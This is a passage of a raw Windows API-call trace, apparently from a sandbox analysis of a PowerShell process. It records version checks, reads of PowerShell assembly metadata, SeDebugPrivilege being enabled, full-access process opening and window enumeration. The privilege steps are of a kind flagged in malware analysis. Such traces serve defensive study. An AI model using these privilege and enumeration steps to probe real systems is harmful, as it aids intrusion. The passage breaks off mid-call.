(bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0054.042] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0055.989] GetVersionExW (in: lpVersionInformation=0x413250*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x413250*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.989] GetLastError () returned 0x2 [0055.990] GetVersionExW (in: lpVersionInformation=0x413250*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x413250*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.990] GetLastError () returned 0x2 [0055.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee83c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.996] GetLastError () returned 0x2 [0056.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee858, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.002] GetLastError () returned 0x2 [0056.002] GetVersionExW (in: lpVersionInformation=0x413250*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x413250*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.002] GetLastError () returned 0x2 [0056.003] SetErrorMode (uMode=0x1) returned 0x1 [0056.004] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x2eecd8 | out: lpFileInformation=0x2eecd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0056.005] GetLastError () returned 0x2 [0056.005] SetErrorMode (uMode=0x1) returned 0x1 [0056.008] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x2eed5c | out: lpdwHandle=0x2eed5c) returned 0x94c [0056.014] GetLastError () returned 0x0 [0056.016] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2b64dcc | out: lpData=0x2b64dcc) returned 1 [0056.019] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2eed28, puLen=0x2eed24 | out: lplpBuffer=0x2eed28*=0x2b64e68, puLen=0x2eed24) returned 1 [0056.021] lstrlenW (lpString="䅁") returned 1 [0056.031] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b64f44, puLen=0x2eeca0) returned 1 [0056.032] lstrlenW (lpString="Microsoft Corporation") returned 21 [0056.033] lstrcpyW (in: lpString1=0x413238, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0056.033] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b64f98, puLen=0x2eeca0) returned 1 [0056.033] lstrlenW (lpString="System.Management.Automation") returned 28 [0056.033] lstrcpyW (in: lpString1=0x413238, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0056.033] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b64ff4, puLen=0x2eeca0) returned 1 [0056.033] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.033] lstrcpyW (in: lpString1=0x413238, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.033] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b65034, puLen=0x2eeca0) returned 1 [0056.033] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.033] lstrcpyW (in: lpString1=0x413238, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.033] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b6509c, puLen=0x2eeca0) returned 1 [0056.034] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0056.034] lstrcpyW (in: lpString1=0x413238, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0056.034] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b65138, puLen=0x2eeca0) returned 1 [0056.034] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.034] lstrcpyW (in: lpString1=0x413238, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.034] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b6519c, puLen=0x2eeca0) returned 1 [0056.034] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0056.034] lstrcpyW (in: lpString1=0x413238, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0056.034] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b65218, puLen=0x2eeca0) returned 1 [0056.034] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.034] lstrcpyW (in: lpString1=0x413238, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.034] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x2b64ec0, puLen=0x2eeca0) returned 1 [0056.034] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0056.034] lstrcpyW (in: lpString1=0x413238, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0056.034] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x0, puLen=0x2eeca0) returned 0 [0056.034] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x0, puLen=0x2eeca0) returned 0 [0056.034] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x2eeca4, puLen=0x2eeca0 | out: lplpBuffer=0x2eeca4*=0x0, puLen=0x2eeca0) returned 0 [0056.034] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2eec98, puLen=0x2eec94 | out: lplpBuffer=0x2eec98*=0x2b64e68, puLen=0x2eec94) returned 1 [0056.036] VerLanguageNameW (in: wLang=0x0, szLang=0x413238, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0056.045] VerQueryValueW (in: pBlock=0x2b64dcc, lpSubBlock="\\", lplpBuffer=0x2eecac, puLen=0x2eeca8 | out: lplpBuffer=0x2eecac*=0x2b64df4, puLen=0x2eeca8) returned 1 [0056.052] GetCurrentProcessId () returned 0x330 [0056.070] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2ee4e4 | out: lpLuid=0x2ee4e4*(LowPart=0x14, HighPart=0)) returned 1 [0056.073] GetLastError () returned 0x0 [0056.074] GetCurrentProcess () returned 0xffffffff [0056.074] GetLastError () returned 0x0 [0056.076] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x2ee4e0 | out: TokenHandle=0x2ee4e0*=0x304) returned 1 [0056.076] GetLastError () returned 0x0 [0056.081] AdjustTokenPrivileges (in: TokenHandle=0x304, DisableAllPrivileges=0, NewState=0x2b6790c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0056.081] GetLastError () returned 0x0 [0056.082] CloseHandle (hObject=0x304) returned 1 [0056.082] GetLastError () returned 0x0 [0056.088] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x330) returned 0x304 [0056.088] GetLastError () returned 0x0 [0056.096] EnumProcessModules (in: hProcess=0x304, lphModule=0x2b67950, cb=0x100, lpcbNeeded=0x2eecd4 | out: lphModule=0x2b67950, lpcbNeeded=0x2eecd4) returned 1 [0056.097] GetLastError () returned 0x0 [0056.100] GetModuleInformation (in: hProcess=0x304, hModule=0x21fb0000, lpmodinfo=0x2b67a90, cb=0xc | out: lpmodinfo=0x2b67a90*(lpBaseOfDll=0x21fb0000, SizeOfImage=0x72000, EntryPoint=0x21fb7363)) returned 1 [0056.100] GetLastError () returned 0x0 [0056.102] GetModuleBaseNameW (in: hProcess=0x304, hModule=0x21fb0000, lpBaseName=0x4139f8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0056.102] GetLastError () returned 0x0 [0056.103] GetModuleFileNameExW (in: hProcess=0x304, hModule=0x21fb0000, lpFilename=0x4139f8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0056.104] GetLastError () returned 0x0 [0056.104] CloseHandle (hObject=0x304) returned 1 [0056.104] GetLastError () returned 0x0 [0056.107] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x330) returned 0x304 [0056.107] GetLastError () returned 0x0 [0056.109] GetExitCodeProcess (in: hProcess=0x304, lpExitCode=0x2b66f40 | out: lpExitCode=0x2b66f40*=0x103) returned 1 [0056.109] GetLastError () returned 0x0 [0056.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3b65278, Length=0x20000, ResultLength=0x2eed1c | out: SystemInformation=0x3b65278, ResultLength=0x2eed1c*=0x9b18) returned 0x0 [0056.138] EnumWindows (lpEnumFunc=0x29c3612, lParam=0x0) returned 1 [0056.140] GetWindowThreadProcessId (in: hWnd=0x601b4, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x5cc [0056.140] GetLastError () returned 0x0 [0056.140] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x558 [0056.140] GetLastError () returned 0x0 [0056.140] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.141] GetLastError () returned 0x0 [0056.141] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.141] GetLastError () returned 0x0 [0056.141] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.141] GetLastError () returned 0x0 [0056.141] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x538 [0056.141] GetLastError () returned 0x0 [0056.141] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.141] GetLastError () returned 0x0 [0056.141] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x778 [0056.141] GetLastError () returned 0x0 [0056.141] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x778 [0056.141] GetLastError () returned 0x0 [0056.142] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.142] GetLastError () returned 0x0 [0056.142] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.142] GetLastError () returned 0x0 [0056.142] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.142] GetLastError () returned 0x0 [0056.142] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.142] GetLastError () returned 0x0 [0056.142] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.142] GetLastError () returned 0x0 [0056.142] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.142] GetLastError () returned 0x0 [0056.142] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.142] GetLastError () returned 0x0 [0056.143] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.143] GetLastError () returned 0x0 [0056.143] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.143] GetLastError () returned 0x0 [0056.143] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x460 [0056.143] GetLastError () returned 0x0 [0056.143] GetWindowThreadProcessId (in: hWnd=0x500a2, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.143] GetLastError () returned 0x0 [0056.143] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.143] GetLastError () returned 0x0 [0056.143] GetWindowThreadProcessId (in: hWnd=0x301ae, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x7a0 [0056.143] GetLastError () returned 0x0 [0056.145] GetWindow (hWnd=0x301ae, uCmd=0x4) returned 0x0 [0056.146] IsWindowVisible (hWnd=0x301ae) returned 0 [0056.146] GetWindowThreadProcessId (in: hWnd=0x701b0, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x244 [0056.146] GetLastError () returned 0x0 [0056.146] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x508 [0056.146] GetLastError () returned 0x0 [0056.146] GetWindowThreadProcessId (in: hWnd=0x800a8, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.147] GetLastError () returned 0x0 [0056.147] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.147] GetLastError () returned 0x0 [0056.147] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.147] GetLastError () returned 0x0 [0056.147] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.147] GetLastError () returned 0x0 [0056.147] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.147] GetLastError () returned 0x0 [0056.147] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.147] GetLastError () returned 0x0 [0056.147] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.147] GetLastError () returned 0x0 [0056.147] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.148] GetLastError () returned 0x0 [0056.148] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x734 [0056.148] GetLastError () returned 0x0 [0056.148] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x6ac [0056.148] GetLastError () returned 0x0 [0056.148] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x488 [0056.148] GetLastError () returned 0x0 [0056.148] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x7c8 [0056.148] GetLastError () returned 0x0 [0056.148] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x15c [0056.148] GetLastError () returned 0x0 [0056.148] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x774 [0056.148] GetLastError () returned 0x0 [0056.148] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x518 [0056.149] GetLastError () returned 0x0 [0056.149] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x274 [0056.149] GetLastError () returned 0x0 [0056.149] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x314 [0056.149] GetLastError () returned 0x0 [0056.149] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x210 [0056.149] GetLastError () returned 0x0 [0056.149] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x240 [0056.149] GetLastError () returned 0x0 [0056.149] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x780 [0056.150] GetLastError () returned 0x0 [0056.150] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x5a4 [0056.150] GetLastError () returned 0x0 [0056.150] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x62c [0056.150] GetLastError () returned 0x0 [0056.150] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0xc4 [0056.150] GetLastError () returned 0x0 [0056.150] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x6f8 [0056.150] GetLastError () returned 0x0 [0056.150] GetWindowThreadProcessId (in: hWnd=0x30112, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x5c8 [0056.150] GetLastError () returned 0x0 [0056.150] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x540 [0056.150] GetLastError () returned 0x0 [0056.151] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x538 [0056.151] GetLastError () returned 0x0 [0056.151] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x568 [0056.151] GetLastError () returned 0x0 [0056.151] GetWindowThreadProcessId (in: hWnd=0x20144, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x538 [0056.151] GetLastError () returned 0x0 [0056.151] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x568 [0056.151] GetLastError () returned 0x0 [0056.151] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x538 [0056.151] GetLastError () returned 0x0 [0056.151] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x540 [0056.151] GetLastError () returned 0x0 [0056.151] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x540 [0056.151] GetLastError () returned 0x0 [0056.152] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x510 [0056.152] GetLastError () returned 0x0 [0056.152] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x57c [0056.152] GetLastError () returned 0x0 [0056.152] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x460 [0056.152] GetLastError () returned 0x0 [0056.152] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x554 [0056.152] GetLastError () returned 0x0 [0056.152] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.152] GetLastError () returned 0x0 [0056.152] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x528 [0056.152] GetLastError () returned 0x0 [0056.152] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.152] GetLastError () returned 0x0 [0056.153] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.153] GetLastError () returned 0x0 [0056.153] GetWindowThreadProcessId (in: hWnd=0x1006e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.153] GetLastError () returned 0x0 [0056.153] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x79c [0056.153] GetLastError () returned 0x0 [0056.153] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.153] GetLastError () returned 0x0 [0056.153] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4e0 [0056.153] GetLastError () returned 0x0 [0056.153] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.153] GetLastError () returned 0x0 [0056.153] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x460 [0056.153] GetLastError () returned 0x0 [0056.154] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x460 [0056.154] GetLastError () returned 0x0 [0056.154] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x44c [0056.154] GetLastError () returned 0x0 [0056.154] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x778 [0056.154] GetLastError () returned 0x0 [0056.154] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x460 [0056.154] GetLastError () returned 0x0 [0056.154] GetWindowThreadProcessId (in: hWnd=0x301ac, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x5cc [0056.154] GetLastError () returned 0x0 [0056.154] GetWindowThreadProcessId (in: hWnd=0x90122, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x5cc [0056.154] GetLastError () returned 0x0 [0056.154] GetWindowThreadProcessId (in: hWnd=0x30140, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x558 [0056.154] GetLastError () returned 0x0 [0056.155] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.155] GetLastError () returned 0x0 [0056.155] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4d0 [0056.155] GetLastError () returned 0x0 [0056.155] GetWindowThreadProcessId (in: hWnd=0x301aa, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x78c [0056.155] GetLastError () returned 0x0 [0056.155] GetWindowThreadProcessId (in: hWnd=0x301d8, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x244 [0056.155] GetLastError () returned 0x0 [0056.155] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x508 [0056.155] GetLastError () returned 0x0 [0056.155] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x734 [0056.155] GetLastError () returned 0x0 [0056.155] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x6ac [0056.155] GetLastError () returned 0x0 [0056.156] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x488 [0056.156] GetLastError () returned 0x0 [0056.156] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x2ee970 | out: 